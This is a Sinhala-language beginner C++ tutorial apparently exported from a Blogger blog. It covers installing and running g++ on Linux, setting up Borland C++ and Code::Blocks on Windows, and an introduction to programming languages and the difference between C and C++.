<br />මුලින්ම බලන්න ඕනේ g++ compiler එක පරිඝණකයේ ඇතුලත් වෙනවද කියල, terminal එක open කරල g++ කියල type කරල enter කරන්න. මේ වගේ line එකක් පෙන්නනවනම් දැනටමත් පරිඝණකයේ g++ compiler එක Install වෙලා තියෙන්නේ.
<br /><br /><span style="color: #999999;">g++: fatal error: no input files
<br />compilation terminated.
</span><br /><br /><br />මේ වගේ line එකක් පෙන්නනවනම්.
<br /><br /><span style="color: #999999;">command not found
</span><br /><br />එහෙනම් ඔයාට සිද්ද වෙනව g++ compiler එක Install කරගන්න. ලිනක්ස් වලදී g++ compiler එක Install කරනවිටදී ඔයාගේ Linux
<br />distribution එක අනුව එම ක්රමය වෙනස් වෙන්න පුලුවන්. for example ඔයාගේ පරිඝණකය Ubuntu ලිනක්ස් නම් මේ විදියට type කරල compiler එක Install කර ගන්න පුලුවන්:
<br /><br /><span style="color: #e06666;">aptitude install g++
</span><br /><br />ඔබේ පරිඝනකයේ වෙනත් Linux distribution එකක් නම් තියෙන්නේ ඔයාට ඒ distribution එකේ අදාල ක්රමයට g++ compiler එක Install කරගන්න වෙනව. google හරහා ඔයාට මේක ලේසියෙන්ම සොයාගන්න පුලුවන්.
<br /><br /><u><span style="color: #3d85c6;">g++ පරිඝණකයේ ක්රියා කරවීම.
</span></u><br /><br />g++ ක්රියා කරවීම ගොඩක්ම ලේසියි ඒකට මුලින්ම අපි පොඩි file එකක් නිර්මාණය කරගන්න ඕනේ. ඔයාලට පුලුවන් මේ සඳහා ඔයාලගේ පරිඝණකයේ තියන ඔනම text editor එකක් බාවිතා කරන්න. මං බාවිතා කරන්නේ gedit කියන text editor එක.
<br /><br /><span style="color: #cc0000;">#include <iostream>
<br /><br />int main ()
<br />{
<br />std::cout << "Hello, world" << std::endl;
<br />}
</span><br /><br />මුලින්ම ඉහලින් තියන lines ටික ඔයාලගේ text editor එකේ ලියා ගන්න. (<span style="color: #e06666;">විශේෂයෙන්ම කියන්න ඔනේ මම මේ පාඩම් වල ඔයාලට දෙන source code ඔයාල copy කරල ඔයාලගේ text editor එකට ගන්න එපා මොකද programming ඉගනගන්නවා නම් අපි මුල ඉදන්ම අපේ typeing skill එක හදා ගන්න ඕනේ. මේ හැම code එකක්ම අකුරෙන් අකුර type කරොත් තමයි ඔයාට ඒ දෙවල් හොඳින් මතක හිටින්නේ.</span>) ඊට පස්සේ hello.cpp විදිහට ඔයා ගේ source code එක save කරගන්න මතක ඇතුව file extension එක .cpp විදිහට දෙන්න.
<br /><br />දැන් terminal window එකක් අරගන ඔයා file එක save කරපු folder එකට යන්න. ඊට පස්සේ මේ විදිහට type කරන්න.
<br /><br /><span style="color: #999999;">g++ hello.cpp -o hello
</span><br /><br />දැන් enter ඔබන්න.
<br /><br />-o කියන option එකෙන් කරන්නේ output file එකට නමක් දෙන එක. ඒ option එක බාවිතා කරන්නේ නැතුව නිකම්ම "g++ hello.cpp" කියල දුන්නොත්, output file එක a.out කියන නමින් තමයි save වෙන්නේ.
<br /><br /><u><span style="color: #3d85c6;">Running your program</span>
</u><br /><br />දැන් අපි බලමු කොහොමද අපි execut කරගත්ත program එක ක්රියාත්මක කරන්නේ කියල. අපි program එකට දීපු නම තමයි hello ඔයාට පුලුවන් ලේසියෙන්ම මේ විදිහට type කරල program එක run කරන්න.
<br /><br /><span style="color: #999999;">./hello
</span><br /><br />දැන් ඔයාලට මේ විදිහේ output එකක් ලැබෙන්න ඔනෙ.
<br /><br /><span style="color: #999999;">Hello, world
</span><br /><br />හරි අපි දැන් Linux සඳහා programming පසුබිම සකසාගන අවසන්. තව දෙයක් කියන්න ඔනේ මම නම් ඉදිරි පාඩම් වලදී programming සඳහා බාවිතා කරන්නේ Code::Blocks IDE කියන program එක ඔයාලටත් අවශ්යනම් පුලුවන් මේ program එක install කරගන්න. එහෙම නැත්නම් ඉහත සඳහන් කර ආකාරයටත් ලේසියෙන්ම program නිර්මාණය කරන්න පුලුවන්. ඔයාල Code::Blocks install කරනවානම් g++ compiler එක Install කරාට පසුව Code::Blocks install කරගන්න. Ubuntu Software Center එකේ Code::Blocks IDE එක තියනව.
</div>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com0tag:blogger.com,1999:blog-1015943570259670143.post-41120107986405045302014-08-13T20:43:00.000+05:302014-09-24T19:06:18.579+05:30C++ සිංහලෙන් පාඩම 2 - Windows සඳහා Programming පසුබිම සකසා ගැනීම.මුලින්ම අපිට මේකට ඕන කරනව Borland C++ කියන program එක අපි බලමු කොහොමද ඒක පරිඝණකයේ පිහිටුවා ගන්නේ කියල.<br />
<br />
step 1: මුලින්ම <a href="https://www.dropbox.com/s/oaw0b6zwawlxuds/Borland%20C%2B%2B.zip?dl=0" target="_blank"><span style="color: red;">මෙතන</span></a> ඔබල Download කරගන්නකෝ<br />
pw is : H4CK3R# <br />
<br />
step 2: ඊට පස්සේ අපි Download කරගත්ත folder එකේ තියන freecommandLinetools program එක මේ විදිහට පරිඝණකයේ පිහිටුවා ගන්න ඕනේ.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh6vZtnbaRML2va92uQ4A9dyix4_jVbP1x80KKdsUO1mAGbKHQ9PFUUrxvojCyM7AwWl8eVMbjJZLVCN0xrPeipOi5aZY-bdkdzY5AE3meNc_XIxGUT_XlpYFffwAzNFLVg0VrVsJuMPJt/s1600/Capture8.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh6vZtnbaRML2va92uQ4A9dyix4_jVbP1x80KKdsUO1mAGbKHQ9PFUUrxvojCyM7AwWl8eVMbjJZLVCN0xrPeipOi5aZY-bdkdzY5AE3meNc_XIxGUT_XlpYFffwAzNFLVg0VrVsJuMPJt/s1600/Capture8.PNG" height="245" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh1PBS3cs5bRBkEZ65VAX-2Ntp0YBLws1mcCgWLdCFm6OAkWnHnknrfuvDviM5SBcguorouCLcnlKpCwHj1Kzng3azXUPArJDPlofJf6YgYmyF7wxdHIAeOXj9xhSbfcciy4ZBEu9GEZFE/s1600/Capture9.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh1PBS3cs5bRBkEZ65VAX-2Ntp0YBLws1mcCgWLdCFm6OAkWnHnknrfuvDviM5SBcguorouCLcnlKpCwHj1Kzng3azXUPArJDPlofJf6YgYmyF7wxdHIAeOXj9xhSbfcciy4ZBEu9GEZFE/s1600/Capture9.PNG" height="245" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSrTZQW-7y5TW-5ItSKDYHaA2IQUENVUoSWS156-KK2B-R4_CsIVq-Ga3CoxLnKmirqbQPhFZH8bLyRwOKCsXKySbtsL3By_1pihKmtuurgD8cz5QQaNC44dfeQInIueD6zOIJU5vYAVq4/s1600/Capture10.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSrTZQW-7y5TW-5ItSKDYHaA2IQUENVUoSWS156-KK2B-R4_CsIVq-Ga3CoxLnKmirqbQPhFZH8bLyRwOKCsXKySbtsL3By_1pihKmtuurgD8cz5QQaNC44dfeQInIueD6zOIJU5vYAVq4/s1600/Capture10.PNG" height="139" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
<br />
step 3: ඊට පස්සේ මෙ cfg file දෙක මේ විදිහට copy කරගන්න<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1Wpz9-8vB_wquAJVZ2rQ72IOAl2SUofEc7d_cCFAF9iAE8OI7Apb6CCPBJTnTZsfR_OlO-TwnYDLIBbvZKe0ILrD7z6XnvFXKy-OsxA59NYE7ysmaM8DBADVzudreEVtg7NdvrX0e3alG/s1600/Capture11.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1Wpz9-8vB_wquAJVZ2rQ72IOAl2SUofEc7d_cCFAF9iAE8OI7Apb6CCPBJTnTZsfR_OlO-TwnYDLIBbvZKe0ILrD7z6XnvFXKy-OsxA59NYE7ysmaM8DBADVzudreEVtg7NdvrX0e3alG/s1600/Capture11.PNG" height="162" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1YRuuv4BJN_dAJcXwZ4X1xO2w1EhSg79k16mMoUtLnm5YImEKealqDEo7GQDOtpOh20eKJBN6sGsbIpU4-v5Oc1lx4p5Ep1bJF13HFqX2ZPCi8W9wDmoSbVVvB6PkTv5qFBoOZCXRVZ3S/s1600/Capture12.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1YRuuv4BJN_dAJcXwZ4X1xO2w1EhSg79k16mMoUtLnm5YImEKealqDEo7GQDOtpOh20eKJBN6sGsbIpU4-v5Oc1lx4p5Ep1bJF13HFqX2ZPCi8W9wDmoSbVVvB6PkTv5qFBoOZCXRVZ3S/s1600/Capture12.PNG" height="252" width="320" /></a></div>
<div style="text-align: center;">
<span style="color: lime;">(පින්තූරේ උඩ click කරොත් ලොකු කරල බලන්න පුළුවන්)</span></div>
<br />
හරි අපි Compiler එක පරිඝණකයේ පිහිටුවාගෙන ඉවරයි. ඊලඟට ඕන කරනව source code එක ලියන්න program එකක්. ඒකට ඔයාලගේ පරිඝණකයේ තියන Notepad වගේ text editer එකක් බාවිතා කරන්නත් පුළුවන්. ඒත් ඉතින් ලේසි දියුනු ක්රම තියෙද්දි ඇයි අපි අමාරු ක්රම වලට යන්නේ නේද? ඒ හින්ද අපි Code::Blocks කියන program එක ඒ සඳහා බාවිතා කරනව.<br />
<br />
step 1: Download Code::Blocks Go to this website: http://www.codeblocks.org/downloads/binaries<br />
නැත්නම් codeblocks-13.12-setup.exe මේ විදිහට google කරල Download කරගන්න පුලුවන්.<br />
<br />
step 2: ඊට පස්සේ අපි Download කරගත්ත program එක මේ විදිහට පරිඝණකයේ පිහිටුවා ගන්න ඕනේ.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGeVSECSTAw5TiGMeRgupkljqJ5myyqngCEn2yrYVdEnlFZjjrAgnZ4Vfi3f8lHXiJIv80gmB-VKY6ZJdOkZcLjHikmtNDfMbthPNGj-F0YicS0Wc47f_BfD6OA6RZWixR2MyunV7aBn6f/s1600/Capture1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGeVSECSTAw5TiGMeRgupkljqJ5myyqngCEn2yrYVdEnlFZjjrAgnZ4Vfi3f8lHXiJIv80gmB-VKY6ZJdOkZcLjHikmtNDfMbthPNGj-F0YicS0Wc47f_BfD6OA6RZWixR2MyunV7aBn6f/s1600/Capture1.PNG" height="248" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibFAKLwLddjvCNt5GzkKm8GmHBUQEWby_oh9gCVEGam0d9AmjyQJAcMQTe27wgtr3P1TNdhS-E97ys262cf95tFQHTOEQ43E75W-s3LmZC9HCDMWUSJOJAqGauoxoWaSbnuurNhJbHcExM/s1600/Capture2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibFAKLwLddjvCNt5GzkKm8GmHBUQEWby_oh9gCVEGam0d9AmjyQJAcMQTe27wgtr3P1TNdhS-E97ys262cf95tFQHTOEQ43E75W-s3LmZC9HCDMWUSJOJAqGauoxoWaSbnuurNhJbHcExM/s1600/Capture2.PNG" height="248" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzzNefFVtsVM3U0tZbuRxR38S2bax1HRTfSKsqF4ihXESIquhT3OAOLs96zz01Cb9os71_adT9gC9ekya28Gre4Ll6A6Zb5zP4xtc5ga2xxQEtN7P6wUmIta1akX5PtNvNVXQMTmpu0ex3/s1600/Capture3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzzNefFVtsVM3U0tZbuRxR38S2bax1HRTfSKsqF4ihXESIquhT3OAOLs96zz01Cb9os71_adT9gC9ekya28Gre4Ll6A6Zb5zP4xtc5ga2xxQEtN7P6wUmIta1akX5PtNvNVXQMTmpu0ex3/s1600/Capture3.PNG" height="248" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi99H2OOX2NUJzr4s2hLqrjOydMZ2pL8GDOPrZVxf_EdJFtiYmpuEEHrMafQxLhK9Uj-A68eIfyrNzByqSGV08GgYppzvnLFLM-RIHMowyjaylM7OL_SMp42raWQQPgj8eeiCd5B1Gb07fM/s1600/Capture4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi99H2OOX2NUJzr4s2hLqrjOydMZ2pL8GDOPrZVxf_EdJFtiYmpuEEHrMafQxLhK9Uj-A68eIfyrNzByqSGV08GgYppzvnLFLM-RIHMowyjaylM7OL_SMp42raWQQPgj8eeiCd5B1Gb07fM/s1600/Capture4.PNG" height="248" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKNf9XYYC3YZVM1xBo5Avt5G61l5XAO9wBPpaBSTwA8VA5lA2BgPdsDTQShE8HzOAxQzcLXl8oGfZKV-qWqHGMBXK02SjOFvAzM1IKS0IsdLazOrGLzvBM8WfIjTrO0YPI8lNkeSNX92mH/s1600/Capture5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKNf9XYYC3YZVM1xBo5Avt5G61l5XAO9wBPpaBSTwA8VA5lA2BgPdsDTQShE8HzOAxQzcLXl8oGfZKV-qWqHGMBXK02SjOFvAzM1IKS0IsdLazOrGLzvBM8WfIjTrO0YPI8lNkeSNX92mH/s1600/Capture5.PNG" height="248" width="320" /></a></div>
හරි අපි දැන් Windows සඳහා Programming පසුබිම සකසා ගෙන ඉවරයි. <br />
<br />
step 3: දැන් Code::Blocks program එක open කරන්න එතකොට ඔයාලට මේ වගේ window එකක් බලාගන්න පුළුවන්.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZnndSjMPcUqm0gGwJ-ioTsXdzHjxHzYga1q50cto_uZ7leh4kiNGCXeYIydFJzplrnp7R3lvwE5HZZyG8lvM_4hEN0amjCLH8Yzre98a84-MLNydxcligWmU72gyaptkjryn8scMmURvE/s1600/Capture13.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZnndSjMPcUqm0gGwJ-ioTsXdzHjxHzYga1q50cto_uZ7leh4kiNGCXeYIydFJzplrnp7R3lvwE5HZZyG8lvM_4hEN0amjCLH8Yzre98a84-MLNydxcligWmU72gyaptkjryn8scMmURvE/s1600/Capture13.PNG" height="230" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUwUZvFGrRDu2qXIbeoHWACKR6d-quUchyphenhyphencrL-o05Wu4AEdvhnFYi6S5JiW7pqkLE04dSwz7rlSd3oKq6yTfcN0mf0b-SYlFZaSeTp2t3spN7GADfl20kuhDT-cgxvy2TB_yEXw8ooQgkx/s1600/Capture14.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUwUZvFGrRDu2qXIbeoHWACKR6d-quUchyphenhyphencrL-o05Wu4AEdvhnFYi6S5JiW7pqkLE04dSwz7rlSd3oKq6yTfcN0mf0b-SYlFZaSeTp2t3spN7GADfl20kuhDT-cgxvy2TB_yEXw8ooQgkx/s1600/Capture14.PNG" height="238" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha4eM4iTJ_XXTdso49u7F08c2xxkwkAagV8D9TAUK6Kluk04FyOerN5OI5sruEms8I12YY0GlPd3FRshr8FxN0JQS2SQUvlzIkcoR_G7xmyynf1ZA2jI86fFiIuOApJ6lBLbqVpTR4UZ37/s1600/Capture15.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha4eM4iTJ_XXTdso49u7F08c2xxkwkAagV8D9TAUK6Kluk04FyOerN5OI5sruEms8I12YY0GlPd3FRshr8FxN0JQS2SQUvlzIkcoR_G7xmyynf1ZA2jI86fFiIuOApJ6lBLbqVpTR4UZ37/s1600/Capture15.PNG" height="263" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPkN_8ZxOQ9Y6_XHFAMVHjHsux1R4wo8zHy-p_4od4JG3wiTmfZz17MyXpGi0braBM7cKp08m_S1I_KF51wx3dFsK3EV6fhQtMbOXLBiW69LNXMcOe_-dQl4_jUu4bPpUYTx6C37HUtBK9/s1600/Capture16.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPkN_8ZxOQ9Y6_XHFAMVHjHsux1R4wo8zHy-p_4od4JG3wiTmfZz17MyXpGi0braBM7cKp08m_S1I_KF51wx3dFsK3EV6fhQtMbOXLBiW69LNXMcOe_-dQl4_jUu4bPpUYTx6C37HUtBK9/s1600/Capture16.PNG" height="263" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiKA6-mXMQhLJfnNaguMQO0JF9A8GmR4KX2qOlcEtnb4rydjn4RR9NYljt0PR-8Xl55CiZkfAySdmf1MyA2yLkY9x1d_y48i0_1dvYdmEhciZA2cnnX8X3BEXmKnjMOoh1gCg9HzSEAxlw/s1600/Capture17.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiKA6-mXMQhLJfnNaguMQO0JF9A8GmR4KX2qOlcEtnb4rydjn4RR9NYljt0PR-8Xl55CiZkfAySdmf1MyA2yLkY9x1d_y48i0_1dvYdmEhciZA2cnnX8X3BEXmKnjMOoh1gCg9HzSEAxlw/s1600/Capture17.PNG" height="263" width="320" /></a></div>
<div style="text-align: center;">
8 - C:\Borland\C++1 මෙතන මේ විදිහට folder එකක් හදල දාගන්න.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYJcBQdmRLNjggUBwJRz1rIPf7ssvCeG09zUHUu7zJ2gZ7GBhsvjxGF25SvJcetyP1v0k096iJLR6P8WLADRaflDCwcFb3kaqX3V31tqfG-C0D3-2hYKQt5cez7nAst_4okjO1BF02yMpy/s1600/Capture18.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYJcBQdmRLNjggUBwJRz1rIPf7ssvCeG09zUHUu7zJ2gZ7GBhsvjxGF25SvJcetyP1v0k096iJLR6P8WLADRaflDCwcFb3kaqX3V31tqfG-C0D3-2hYKQt5cez7nAst_4okjO1BF02yMpy/s1600/Capture18.PNG" height="263" width="320" /></a></div>
<div style="text-align: center;">
10 - Borland C++ Compiler එක දෙන්න මෙතනට.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhblEINXpX0R7E_54oQvSWUUwkINe8Z8MQYj55hLgPNzuRLGigxxH2JCcR_InPermR4FNoF8D5goqpQk3OTsMi-B1JTsiEmOmm9JyU7P6zn38A1MGHINw6oWph0_wT73p7ibCWM00PEwo5l/s1600/Capture19.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhblEINXpX0R7E_54oQvSWUUwkINe8Z8MQYj55hLgPNzuRLGigxxH2JCcR_InPermR4FNoF8D5goqpQk3OTsMi-B1JTsiEmOmm9JyU7P6zn38A1MGHINw6oWph0_wT73p7ibCWM00PEwo5l/s1600/Capture19.PNG" height="230" width="320" /></a></div>
<div style="text-align: center;">
12 - sources folder එකේ තියන main.cpp ඩබල් click කරන්න. එතකොට ඔයාලට බලාගන්න පුළුවන් hello world කියන source code එක පෙන්නනව.</div>
<div style="text-align: center;">
13 - මෙතන ඔබල source code එක Execute කර ගන්න. ඔයාලට වින්ඩෝ එකේ පහලින් බලා ගන්න පුළුවන් Execute වුන program එකේ log file එක.</div>
<div style="text-align: center;">
14 - මෙතන click කරපුවහම ඔයාල Execute කර ගත්ත program එක cmd එකේ run වෙනව බලා ගන්න පුළුවන් මේ විදිහට.</div>
<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyE3rH1_FujPQNxtjUclfnJ_6WDCMBFMdzFPRp8DUQ3ljUtcKrE6yPOanF5ebZAbWk8NxYPSoVoq2Gprq2wihRYdFZpfxLsZTdm_Yc6rR_4FS1Dr4VM79bhgXUVYszuTRLdeB1G5YRQMh7/s1600/Capture20.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyE3rH1_FujPQNxtjUclfnJ_6WDCMBFMdzFPRp8DUQ3ljUtcKrE6yPOanF5ebZAbWk8NxYPSoVoq2Gprq2wihRYdFZpfxLsZTdm_Yc6rR_4FS1Dr4VM79bhgXUVYszuTRLdeB1G5YRQMh7/s1600/Capture20.PNG" height="162" width="320" /></a></div>
<div style="text-align: center;">
<span style="color: #cc0000;"><br /></span></div>
<div style="text-align: center;">
<span style="color: #cc0000;">මේ විදිහට cmd එකේ run වෙනවනම් වැඩේ ගොඩ. දැන් අපිට පුළුවන් ඊලඟ පාඩමෙන් අපේ පලවෙනි program එක හදන්න.</span></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
මොකක් හරි ගැටළුවක් තියනවනම් අහන්න කියල දෙන්න මං ලෑස්තියි.</div>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com4Sri Lanka7.8730539999999989 80.7717969999999923.8497194999999991 75.608223 11.896388499999999 85.935370999999989tag:blogger.com,1999:blog-1015943570259670143.post-4385293427027900562014-08-13T13:31:00.001+05:302014-08-13T13:58:01.875+05:30C++ සිංහලෙන් පාඩම 1 - C++ මූලික හැඳින්වීම.<div style="text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLCRPM5umlLkhu9uDMU2uIhyphenhyphenJdg18hsBgpM2MCMhLOY42AC__LqQVDwpNpScS73VflCznQ9pEUZT3LVfOUdtPEC4pXaeiFUuSNUBJ4fBtXYWwswNuQ4J05MXrSLsBvWf5qUubTHKwuMWwN/s1600/C++.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLCRPM5umlLkhu9uDMU2uIhyphenhyphenJdg18hsBgpM2MCMhLOY42AC__LqQVDwpNpScS73VflCznQ9pEUZT3LVfOUdtPEC4pXaeiFUuSNUBJ4fBtXYWwswNuQ4J05MXrSLsBvWf5qUubTHKwuMWwN/s1600/C++.png" height="223" width="400" /></a></div>
<div style="text-align: center;">
<span style="color: #3d85c6;"><u>programming language(ක්රම ලේඛන භාශාව) යනු කුමක්ද?</u></span></div>
<div style="text-align: center;">
<br />
ඔබට ඔබේ පරිඝණකය පාලනය කිරීමට අවශ්යනම්, ඔබට පරීඝණකය සමග අදහස් හුවමාරු කරගැනීමට ක්රමයක් අවශ්ය වෙනවා. මේ සඳහා තමයි programming language(ක්රම ලේඛන භාශාව) මිනිසුන් විසින් නිර්මානය කරල තියෙන්නේ. පරිඝණක ක්රමලේඛනයක් කියන්නේ එයටම ආවේනික වූ විශේෂ ව්යුහයක් සහිත වචන මාලාවක් හරියට පොතක් වගේ. මෙම භශාව මිනිසුන්ට තේරුම් ගතහැකි ආකාරයට තමයි නිර්මාණය කරල තියෙන්නේ හරියට අපි එදිනෙදා බාවිතා කරන භාශාවන් වගේම තමයි. නමුත් අපි බාවිතා කරන භාශාවන්ට වඩා වචන මාලාව ඉතාමත් කුඩයි. ඉතිං C++ කියන්නේ මේ පරිඝණක ක්රම ලේඛන භාශා වලින් එකක් විතරයි. මං හිතන්නේ ජනප්රියම එක තමයි C++.</div>
<div style="text-align: center;">
<br />
ඔබ ලියන ලද පරිඝණක ක්රම ලේඛනයක් ඒ ආකාරයෙන්ම තියාගෙන පරිඝණකයේ ක්රියාත්මක කරන්න බෑ. ඔබට අවශ්ය කරනවා එම ක්රම ලේඛනය ක්රියා කළ හැකි ආකාරයට සකස් කර ගැනීමක් කරන්න. ඒ සඳහා executing program එකක් අවශ්ය වෙනවා. ඒ ගැන අපි ඉදිරියට කතා කරමු.<br />
දැනට ලෝකයේ ගොඩක් ක්රමලේඛන භාශාවන් තියනව ඒ හැම එකකටම එකින් එකට වෙනස් වූ වචන මාලාවනුත් තියනව. හැබැයි ඔයා එකක් හරි හරියට ඉගන ගත්තෝත් ඊලඟ එක ඉගන ගන්න එක බොහොම ලේසියි.</div>
<div style="text-align: center;">
<br />
<span style="color: #3d85c6;"><u>C සහ C++ අතර වෙනසක් තියනවද?</u></span></div>
<div style="text-align: center;">
<br />
ඔවු. C කියන්නෙත් programming language එකක් තමයි. ඒක මුලින්ම බාවිතා කරේ Unix කියන මෙහෙයුම් පද්දතිය නිර්මාණය කිරීම සඳහායි. C ගොඩක්ම පහල මට්ටමේ වගේම ප්රබල ක්රමලේඛන භාශාවක්. නමුත් අඩුපාඩු නැතුවම නෙමෙයි. C++ කියන්නේ C වලට වඩා ගොඩක් අලුත් භාශාවක් C මත පදනම් වෙලා නිර්මාණය වෙච්ච. ඒ වගේම C++ වල තියනව C වලට වඩා ගොඩක් හොඳ හැකියාවන් program එකක් develop කරන්න උදවු වෙන සහ C වලට වඩා C++ වලින් program එකක් develop කරන එක ගොඩක්ම ලේසියි.</div>
<div style="text-align: center;">
<br />
<span style="color: #e06666;">ඒ වගේම programming ඉගන ගන්න කෙනෙක්ට මම විශ්වාසයෙන් කියනව C වලට වඩා C++ වලින් පටන් ගන්න එක තමයි හොඳම.</span></div>
<div style="text-align: center;">
<span style="color: #3d85c6;"><u><br />මම C++ ඉගන ගන්න C දැනගන ඉන්න ඕනෙද?</u></span></div>
<div style="text-align: center;">
<br />
පැහැදිලිවම නෑ. ඔයාට C වලින් කරන්න පුලුවන් ඔනම දෙයක් C++ වලිනුත් කරන්න පුලුවන්. ඔයා C දන්නවා නම්, ඔයාට ලේසියෙන්ම C++ වල නව හැකියාවන් වලට අනුවර්තණය වෙන්න පුලුවන්. ඔයා C දන්නේ නැත්නම්, ගැටලුවක් නෑ මොකද කිසිම වාසියක් නෑ ඔයා C දැනගන ඉන්න එකේ C++ ඉගන ගන්න කලින්.</div>
<div style="text-align: center;">
<br />
<span style="color: #3d85c6;"><u>Programming ඉගන ගන්න ගනන් කාරයෙක් වෙන්න ඕනෙද?</u></span></div>
<div style="text-align: center;">
<br />
